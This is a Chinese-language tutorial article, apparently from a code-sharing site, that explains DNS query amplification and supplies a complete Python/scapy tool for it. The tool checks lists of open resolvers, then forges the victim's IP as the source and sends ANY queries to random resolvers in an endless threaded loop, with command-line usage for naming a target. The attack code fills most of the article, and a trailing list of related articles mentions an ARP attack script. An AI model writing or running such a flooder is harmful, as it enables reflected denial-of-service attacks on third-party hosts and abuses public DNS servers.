Python DNS查询放大攻击实现原理解析

查询放大攻击的原理是,通过网络中存在的DNS服务器资源,对目标主机发起的拒绝服务攻击,其原理是伪造源地址为被攻击目标的地址,向DNS递归服务器发起查询请求,此时由于源IP是伪造的,固在DNS服务器回包的时候,会默认回给伪造的IP地址,从而使DNS服务成为了流量放大和攻击的实施者,通过查询大量的DNS服务器,从而实现反弹大量的查询流量,导致目标主机查询带宽被塞满,实现DDOS的目的。

此时我们使用scapy工具构建一个DNS请求数据包 sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2) 查询指定网站的DNS记录,结果如下。

上图可以看出,我们所发送的数据长度要小于接收到的数据长度,流量差不多被放大了3倍左右,我们只需要将源地址伪造为被害机器,并使用海量的DNS服务器作为僵尸主机发包,即可完成DDOS攻击。

这里需要在网上找一些DNS服务器。

import socket,os,sys
from scapy.all import *
def Inspect_DNS_Usability(filename):
    proxy_list = []
    fp = open(filename,"r")
    for i in fp.readlines():
        try:
            addr = i.replace("\n","")
            respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
            if respon != "":
                proxy_list.append(str(respon["IP"].src))
        except Exception:
            pass
    return proxy_list
proxy = Inspect_DNS_Usability("./dnslist.log")
fp = open("pass.log","w+")
for item in proxy:
    fp.write(item + "\n")
fp.close()

验证好有效性以后,接着就是Python多线程发包测试了,scapy构建数据包时由于DNS数据包比较特殊,构建是应该按照顺序 IP/UDP/DNS来构建,以下代码可以完成发包测试

import socket,os,sys
from scapy.all import *
# 构造IP数据包
ip_pack = IP()
ip_pack.src = "192.168.1.2"
ip_pack.dst = "8.8.8.8"
# 构造UDP数据包
udp_pack = UDP()
udp_pack.sport = 53
udp_pack.dport = 53
# 构建DNS数据包
dns_pack = DNS()
dns_pack.rd = 1
dns_pack.qdcount = 1
# 构建DNSQR解析
dnsqr_pack = DNSQR()
dnsqr_pack.qname = "baidu.com"
dnsqr_pack.qtype = 255
dns_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)

最终的完整代码如下所示,通过大量的DNS查询请求实现针对目标主机的拒绝服务.

import os,sys,threading,time
from scapy.all import *
import argparse
def Inspect_DNS_Usability(filename):
    proxy_list = []
    fp = open(filename,"r")
    for i in fp.readlines():
        try:
            addr = i.replace("\n","")
            respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
            if respon != "":
                proxy_list.append(str(respon["IP"].src))
        except Exception:
            pass
    return proxy_list
def DNS_Flood(target,dns):
    # 构造IP数据包
    ip_pack = IP()
    ip_pack.src = target
    ip_pack.dst = dns
#   ip_pack.src = "192.168.1.2"
#   ip_pack.dst = "8.8.8.8"
    # 构造UDP数据包
    udp_pack = UDP()
    udp_pack.sport = 53
    udp_pack.dport = 53
    # 构造DNS数据包
    dns_pack = DNS()
    dns_pack.rd = 1
    dns_pack.qdcount = 1
    # 构造DNSQR解析
    dnsqr_pack = DNSQR()
    dnsqr_pack.qname = "baidu.com"
    dnsqr_pack.qtype = 255
    dns_pack.qd = dnsqr_pack
    respon = (ip_pack/udp_pack/dns_pack)
    sr1(respon)
def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
    Banner()
    parser = argparse.ArgumentParser()
    parser.add_argument("--mode",dest="mode",help="选择执行命令<check=检查DNS可用性/flood=攻击>")
    parser.add_argument("-f","--file",dest="file",help="指定一个DNS字典,里面存储DNSIP地址")
    parser.add_argument("-t",dest="target",help="输入需要攻击的IP地址")
    args = parser.parse_args()
    if args.mode == "check" and args.file:
        proxy = Inspect_DNS_Usability(args.file)
        fp = open("pass.log","w+")
        for item in proxy:
            fp.write(item + "\n")
        fp.close()
        print("[+] DNS地址检查完毕,当前可用DNS保存为 pass.log")
    elif args.mode == "flood" and args.target and args.file:
        with open(args.file,"r") as fp:
            countent = [line.rstrip("\n") for line in fp]
            while True:
                randomDNS = str(random.sample(countent,1)[0])
                print("[+] 目标主机: {} -----> 随机DNS: {}".format(args.target,randomDNS))
                t = threading.Thread(target=DNS_Flood,args=(args.target,randomDNS,))
                t.start()
    else:
        parser.print_help()

使用方式首先准备一个test.log里面一行一个存放所有的已知DNS列表,并通过check命令验证该DNS是否可用,并将可用的DNS保存为pass.log

main.py --mode=check -f dns.txt

当需要发起攻击时,只需要指定pass.log 文件,则自动使用该DNS列表进行批量查询。

main.py --mode=flood -f pass.log -t 192.168.1.1

到此这篇关于Python DNS查询放大攻击实现原理解析的文章就介绍到这了,更多相关Python DNS查询放大攻击内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子

    scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送.嗅探.解析和伪造网络数据包,常常被用到网络攻击和测试中. 这里就直接用python的scapy搞. 这里是arp的攻击方式,你可以做成arp攻击. 复制代码 代码如下: #!/usr/bin/python """ ARP attack """ import sys, os from scapy.all import * if os.geteuid() != 0:    

  • Python模块域名dnspython解析

    目录 dnspython源码安装 python模块域名解析方法讲解 总结 dnspython是python实现的一个DNS工具包,它支持记录类型.查询.传输并动态更新ZONE信息等等.据说dnspython可以代替dig.nslookup等工具.下面我们就来介绍dnspython模块的使用. dnspython源码安装 这里介绍一下dnspython模块的安装,采用源码的安装方式,目前使用的版本是1.16.0 如下安装: wget https://www.dnspython.org/kits/1

  • python实现DNS正向查询、反向查询的例子

    1.DNS查询过程: 以查询 www.baidu.com为例 (1)电脑向本地域名服务器发送解析www.baidu.com的请求(2)本地域名服务器收到请求后,先查询本地的缓存,如果找到直接返回查询结果,如果没有该记录,本地域名服务器把www.baidu.com的请求发送给根域名服务器(3)根域名服务器收到请求后,把.com域的服务器IP地址返回给本地域名服务器(4)本地域名服务器连接.com服务器,向其请求解析域名www.baidu.com, .com服务器把baidu.com服务器的IP地址

  • python实现域名系统(DNS)正向查询的方法

    本文实例讲述了python实现域名系统(DNS)正向查询的方法.分享给大家供大家参考,具体如下: 域名系统(DNS)是一个分布式的数据库,主要是用来把主机名换成IP地址. DNS存在有两大理由: (1)可以使用户方便记住名字,而不是纯粹的IP地址: (2)允许服务器改变IP地址,但可以使用原来的域名. 系统中最基本的查询为正向查询,它会根据一个主机名来查找IP地址.例如如果你想从www.example.com上下载一个web页面,首先要寻找到IP地址.正想查询会帮你完成这个任务,它会把一个名字翻

  • Python写的一个简单DNS服务器实例

    因为突然有个邪恶的想法,想在自己的Android平板上面搭建一个DNS服务器,因为平板上之前安装过SL4A和Python的解释器,也想继续学学Python因此,就打算用Python实现了. 在Google上面找了一下,Python实现的DNS,没找到我所希望的答案,因此就决定自己来实现了. 现在所实现的没什么高深的,只是能够对A记录查询进行简单的匹配和回复. 实现的代码如下: 复制代码 代码如下: '''Created on 2012-10-15 @author: RobinTang''' im

  • 利用Python+阿里云实现DDNS动态域名解析的方法

    引子 我想大家应该都很熟悉DNS了,这回在DNS前面加了一个D又变成了什么呢?这个D就是Dynamic(动态),也就是说,按照传统,一个域名所对应的IP地址应该是定死的,而使用了DDNS后,域名所对应的IP是可以动态变化的.那这个有什么用呢? 比如,在家里的路由器上连着一个raspberry pi(树莓派),上面跑着几个网站,我应该如和在外网环境下访问网站.登陆树莓派的SSH呢? 还有,家里的NAS(全称Network Attach Storage 网络附属存储,可以理解为私有的百度网盘)上存储

  • python批量处理多DNS多域名的nslookup解析实现

    利用EXCLE生成CSV文档,批量处理nslookup解析.并保存为CSV文档,方便进行查看: 输入文档格式: data\domain.csv 最终输出文档情况: data\nlookup.csv 代码: # coding=gbk import subprocess import csv def get_nslookup(domain, dns): res = subprocess.Popen("nslookup {0} {1}".format(domain, dns), stdin=

  • Python实现的简单dns查询功能示例

    本文实例讲述了Python实现的简单dns查询功能.分享给大家供大家参考,具体如下: #!/usr/bin/python import sys,socket def print_array(*arr): array = arr for item in array: print item[4][0] print '''this script is for host resolve print "now this begin... if you want to leave,please input

  • Python爬虫DNS解析缓存方法实例分析

    本文实例讲述了Python爬虫DNS解析缓存方法.分享给大家供大家参考,具体如下: 前言: 这是Python爬虫中DNS解析缓存模块中的核心代码,是去年的代码了,现在放出来 有兴趣的可以看一下. 一般一个域名的DNS解析时间在10~60毫秒之间,这看起来是微不足道,但是对于大型一点的爬虫而言这就不容忽视了.例如我们要爬新浪微博,同个域名下的请求有1千万(这已经不算多的了),那么耗时在10~60万秒之间,一天才86400秒.也就是说单DNS解析这一项就用了好几天时间,此时加上DNS解析缓存,效果就

  • Python DNS查询放大攻击实现原理解析

    查询放大攻击的原理是,通过网络中存在的DNS服务器资源,对目标主机发起的拒绝服务攻击,其原理是伪造源地址为被攻击目标的地址,向DNS递归服务器发起查询请求,此时由于源IP是伪造的,固在DNS服务器回包的时候,会默认回给伪造的IP地址,从而使DNS服务成为了流量放大和攻击的实施者,通过查询大量的DNS服务器,从而实现反弹大量的查询流量,导致目标主机查询带宽被塞满,实现DDOS的目的. 此时我们使用scapy工具构建一个DNS请求数据包 sr1(IP(dst="8.8.8.8")/UDP(

  • python @propert装饰器使用方法原理解析

    这篇文章主要介绍了python @propert装饰器使用方法原理解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 首先,@propert的作用是把类中的方法『变成』了属性,方便通过实例访问.propert可以有两种用法:可以把一个方法变成只读属性:可以对一些属性进行过滤. 想象这样一个场景,在实例化一个类之后,需要对类的一个属性进行赋值,这时候是没有对属性属性被赋予的值进行判断的,如果属性被赋予了一个不合适的值,那么代码在后面执行的时候就会

  • Python中使用gflags实例及原理解析

    这篇文章主要介绍了Python中使用gflags实例及原理解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 安装命令pip install python-gflags 使用示例: import gflags FLAGS = gflags.FLAGS gflags.DEFINE_string('name', 'ming', 'this is a value') gflags.DEFINE_integer('qps', 0, 'test qps'

  • python通过opencv实现图片裁剪原理解析

    这篇文章主要介绍了python通过opencv实现图片裁剪原理解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 图像裁剪的基本概念 : 图像裁剪是指将图像中我们想要的研究区以外的区域去除,经常是按照行政区划或研究区域的边界对图像进行裁剪.例如,一张500×400的图像,我们只想要中间的250×200的区域,就可以使用图像裁剪将四周的区域去除. 在实际开发工作中,我们经常需要对图像进行分幅裁剪,按照ERDAS实际图像分幅裁剪的过程,可以将图像分

  • Python实现简单的"导弹" 自动追踪原理解析

    自动追踪算法,在我们设计2D射击类游戏时经常会用到,这个听起来很高大上的东西,其实也并不是军事学的专利,在数学上解决的话需要去解微分方程, 这个没有点数学基础是很难算出来的.但是我们有了计算机就不一样了,依靠计算机极快速的运算速度,我们利用微分的思想,加上一点简单的三角学知识,就可以实现它. 好,话不多说,我们来看看它的算法原理,看图: 由于待会要用pygame演示,他的坐标系是y轴向下,所以这里我们也用y向下的坐标系. 算法总的思想就是根据上图,把时间t分割成足够小的片段(比如1/1000,这

  • python 上下文管理器及自定义原理解析

    这篇文章主要介绍了python 上下文管理器原理解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 Python 提供了 with 语法用于简化资源操作的后续清除操作,是 try/finally 的替代方法,实现原理建立在上下文管理器之上. Python 提供了一个 contextmanager 装饰器,更进一步简化上下管理器的实现方式. 上下文管理器是Python2.5之后才出现的概念.上下文管理器规定了某个对象的使用范围,当进入或者离开了使

  • 基于python实现MQTT发布订阅过程原理解析

    MQTT简介 MQTT 全称为 Message Queuing Telemetry Transport(消息队列遥测传输)是一种基于发布/订阅范式的"轻量级"消息协议.该协议构建于TCP/IP协议上. MQTT协议是轻量.简单.开放和易于实现的,这些特点使它适用范围非常广泛.在很多情况下,包括受限的环境中,如:机器与机器(M2M)通信和物联网(IoT). 其在,通过卫星链路通信传感器.偶尔拨号的医疗设备.智能家居.及一些小型化设备中已广泛使用. MQTT特点 1.使用发布/订阅消息模式

  • Python类的继承super相关原理解析

    看了网上许多关于super.mro.C3的介绍感觉没有一份很容易初学者理解的文档,直接看C3算法的话,比较难理解,也没必要,如果掌握一套规律的话,会轻松许多.我将网上这些博主的文章进行一个梳理总结,最后形成一套实用的关于super.mro.C3的理解介绍. 1.super super()是一种将子类与父类联系起来的一种方法,子类通过继承父类,可以使用父类的方法和属性,也可以自己定义属于自己的方法和属性.super方法主要用在多继承中,在单继承时直接调用父类方法即可 下面这个是SGD源码的一部分,

  • python机器学习GCN图卷积神经网络原理解析

    目录 1. 图信号处理知识 1.1 图的拉普拉斯矩阵 1.1.1 拉普拉斯矩阵的定义及示例 1.1.2 正则化拉普拉斯矩阵 1.2 图上的傅里叶变换 1.3 图信号滤波器 2. 图卷积神经网络 2.1 数学定义 2.2 GCN的理解及时间复杂度 2.3 GCN的优缺点 3. Pytorch代码解析 1. 图信号处理知识 图卷积神经网络涉及到图信号处理的相关知识,也是由图信号处理领域的知识推导发展而来,了解图信号处理的知识是理解图卷积神经网络的基础. 1.1 图的拉普拉斯矩阵 拉普拉斯矩阵是体现图

  • python并发编程多进程 互斥锁原理解析

    运行多进程 每个子进程的内存空间是互相隔离的 进程之间数据不能共享的 互斥锁 但是进程之间都是运行在一个操作系统上,进程之间数据不共享,但是共享同一套文件系统,所以访问同一个文件,或同一个打印终端, 是可以的,而共享带来的是竞争,竞争带来的结果就是错乱 #并发运行,效率高,但竞争同一打印终端,带来了打印错乱 from multiprocessing import Process import time def task(name): print("%s 1" % name) time.

随机推荐